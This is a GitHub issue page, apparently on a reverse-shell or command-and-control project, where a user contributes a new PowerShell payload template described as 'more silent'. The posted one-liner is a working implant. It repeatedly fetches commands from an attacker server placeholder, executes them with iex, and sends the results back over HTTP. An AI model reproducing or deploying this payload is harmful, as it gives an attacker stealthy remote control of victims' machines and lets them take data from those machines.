Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New http_payload.ps1 Template #7

Open
dokDork opened this issue Dec 9, 2024 · 0 comments
Open

New http_payload.ps1 Template #7

dokDork opened this issue Dec 9, 2024 · 0 comments

Comments

@dokDork
Copy link

dokDork commented Dec 9, 2024

Hi, I created a new http_payload.ps1 shall template.
It seems to be more silent.
You can test it and in case incorporate in your code.

Add-Type -AssemblyName "System.Net.Http";$s='SERVERIP'; $i='SESSIONID'; $p='http://'; $httpClient=New-Object System.Net.Http.HttpClient; $httpClient.DefaultRequestHeaders.Add("HOAXID",$i); $uriV="$p$s/VERIFY"; $responseV=$httpClient.GetAsync($uriV).Result; while($true){ $uriC="$p$s/GETCMD"; $responseC=$httpClient.GetAsync($uriC).Result; $c=$responseC.Content.ReadAsStringAsync().Result; if($c -ne 'None'){ try{ $r=iex $c -ErrorAction Stop; $r=$r|Out-String; $body=[System.Text.Encoding]::UTF8.GetBytes($r)-join' '; $content=New-Object System.Net.Http.StringContent($body); $uriT="$p$s/POSTRES"; $responseT=$httpClient.PostAsync($uriT,$content).Result; }catch{ $errorMessage=$_.Exception.Message; $body=[System.Text.Encoding]::UTF8.GetBytes($errorMessage)-join' '; $content=New-Object System.Net.Http.StringContent($body); $uriT="$p$s/POSTRES"; $httpClient.PostAsync($uriT,$content).Result; }} Start-Sleep -Seconds FREQ; }; $httpClient.Dispose();

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant